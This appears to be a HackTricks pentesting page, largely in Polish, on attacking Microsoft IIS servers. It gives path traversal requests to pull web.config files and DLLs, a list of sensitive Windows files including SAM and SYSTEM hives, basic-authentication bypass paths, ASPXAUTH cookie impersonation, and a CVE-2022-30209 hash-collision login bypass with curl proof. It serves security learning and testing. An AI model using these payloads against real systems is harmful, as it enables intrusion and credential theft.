16 KiB
IIS - Internet Information Services
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Testuj rozszerzenia plików wykonywalnych:
- asp
- aspx
- config
- php
Ujawnienie wewnętrznego adresu IP
Na każdym serwerze IIS, na którym otrzymasz 302, możesz spróbować usunąć nagłówek Host i użyć HTTP/1.0, a w odpowiedzi nagłówek Location może wskazywać na wewnętrzny adres IP:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Odpowiedź ujawniająca wewnętrzny adres IP:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Wykonywanie plików .config
Możesz przesyłać pliki .config i używać ich do wykonywania kodu. Jednym ze sposobów jest dodanie kodu na końcu pliku wewnątrz komentarza HTML: Pobierz przykład tutaj
Więcej informacji i technik dotyczących wykorzystania tej podatności tutaj
Bruteforce odkrywania IIS
Pobierz listę, którą stworzyłem:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Została stworzona poprzez połączenie zawartości następujących list:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Użyj jej bez dodawania jakiegoś rozszerzenia, pliki, które go potrzebują, już je mają.
Przechodzenie po ścieżkach
Wyciekanie kodu źródłowego
Sprawdź pełny opis w: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% hint style="info" %}
Podsumowując, w folderach aplikacji znajduje się kilka plików web.config z odniesieniami do plików "assemblyIdentity" i "namespaces". Dzięki tym informacjom możliwe jest ustalenie gdzie znajdują się pliki wykonywalne i ich pobranie.
Z pobranych Dll można również znaleźć nowe przestrzenie nazw, do których należy spróbować uzyskać dostęp i pobrać plik web.config, aby znaleźć nowe przestrzenie nazw i assemblyIdentity.
Ponadto pliki connectionstrings.config i global.asax mogą zawierać interesujące informacje.\
{% endhint %}
W aplikacjach .Net MVC, plik web.config odgrywa kluczową rolę, określając każdy plik binarny, na którym opiera się aplikacja, za pomocą tagów XML "assemblyIdentity".
Eksploracja plików binarnych
Przykład dostępu do pliku web.config pokazano poniżej:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
To żądanie ujawnia różne ustawienia i zależności, takie jak:
- EntityFramework wersja
- AppSettings dla stron internetowych, walidacji klienta i JavaScript
- System.web konfiguracje dla uwierzytelniania i czasu wykonywania
- System.webServer ustawienia modułów
- Runtime powiązania zestawów dla licznych bibliotek, takich jak Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc
Te ustawienia wskazują, że niektóre pliki, takie jak /bin/WebGrease.dll, znajdują się w folderze /bin aplikacji.
Pliki katalogu głównego
Pliki znajdujące się w katalogu głównym, takie jak /global.asax i /connectionstrings.config (który zawiera wrażliwe hasła), są niezbędne dla konfiguracji i działania aplikacji.
Przestrzenie nazw i Web.Config
Aplikacje MVC definiują również dodatkowe web.config files dla specyficznych przestrzeni nazw, aby uniknąć powtarzalnych deklaracji w każdym pliku, co ilustruje żądanie pobrania innego web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Pobieranie DLL
Wzmianka o niestandardowej przestrzeni nazw sugeruje istnienie DLL o nazwie "WebApplication1" w katalogu /bin. Następnie pokazano żądanie pobrania WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
To sugeruje obecność innych istotnych DLL, takich jak System.Web.Mvc.dll i System.Web.Optimization.dll, w katalogu /bin.
W scenariuszu, w którym DLL importuje przestrzeń nazw o nazwie WebApplication1.Areas.Minded, atakujący może wywnioskować istnienie innych plików web.config w przewidywalnych ścieżkach, takich jak /area-name/Views/, zawierających specyficzne konfiguracje i odniesienia do innych DLL w folderze /bin. Na przykład, żądanie do /Minded/Views/web.config może ujawnić konfiguracje i przestrzenie nazw, które wskazują na obecność innego DLL, WebApplication1.AdditionalFeatures.dll.
Common files
From here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Error
Jeśli zobaczysz błąd podobny do poniższego:
Oznacza to, że serwer nie otrzymał poprawnej nazwy domeny w nagłówku Host.
Aby uzyskać dostęp do strony internetowej, możesz spojrzeć na serwowany certyfikat SSL i być może znajdziesz tam nazwę domeny/poddomeny. Jeśli jej tam nie ma, może być konieczne brute force VHosts, aż znajdziesz poprawną.
Stare luki w IIS, na które warto zwrócić uwagę
Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
Możesz spróbować enumerować foldery i pliki w każdym odkrytym folderze (nawet jeśli wymaga to podstawowej autoryzacji) używając tej techniki.
Głównym ograniczeniem tej techniki, jeśli serwer jest podatny, jest to, że może znaleźć tylko pierwsze 6 liter nazwy każdego pliku/folderu oraz pierwsze 3 litery rozszerzenia plików.
Możesz użyć https://github.com/irsdl/IIS-ShortName-Scanner do testowania tej luki: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Oryginalne badania: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Możesz również użyć metasploit: use scanner/http/iis_shortname_scanner
Basic Authentication bypass
Obejdź podstawową autoryzację (IIS 7.5) próbując uzyskać dostęp do: /admin:$i30:$INDEX_ALLOCATION/admin.php
lub /admin::$INDEX_ALLOCATION/admin.php
Możesz spróbować połączyć tę lukę z ostatnią, aby znaleźć nowe foldery i obejść autoryzację.
ASP.NET Trace.AXD enabled debugging
ASP.NET zawiera tryb debugowania, a jego plik nazywa się trace.axd
.
Zachowuje bardzo szczegółowy dziennik wszystkich żądań wysyłanych do aplikacji przez pewien czas.
Informacje te obejmują adresy IP zdalnych klientów, identyfikatory sesji, wszystkie ciasteczka żądań i odpowiedzi, ścieżki fizyczne, informacje o kodzie źródłowym, a potencjalnie nawet nazwy użytkowników i hasła.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH Cookie
ASPXAUTH używa następujących informacji:
validationKey
(string): klucz zakodowany w formacie hex do użycia w walidacji podpisu.decryptionMethod
(string): (domyślnie “AES”).decryptionIV
(string): wektor inicjalizacyjny zakodowany w formacie hex (domyślnie wektor zerowy).decryptionKey
(string): klucz zakodowany w formacie hex do użycia w deszyfrowaniu.
Jednak niektórzy ludzie będą używać domyślnych wartości tych parametrów i będą używać jako ciasteczka adresu e-mail użytkownika. Dlatego, jeśli możesz znaleźć stronę internetową korzystającą z tej samej platformy, która używa ciasteczka ASPXAUTH i utworzysz użytkownika z adresem e-mail użytkownika, którego chcesz udawać na serwerze pod atakiem, możesz być w stanie użyć ciasteczka z drugiego serwera w pierwszym i udawać użytkownika.
Ten atak zadziałał w tym opisie.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Pełny raport tutaj: Błąd w kodzie nie sprawdzał poprawnie hasła podanego przez użytkownika, więc atakujący, którego hash hasła trafia na klucz, który już znajduje się w pamięci podręcznej, będzie mógł zalogować się jako ten użytkownik.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.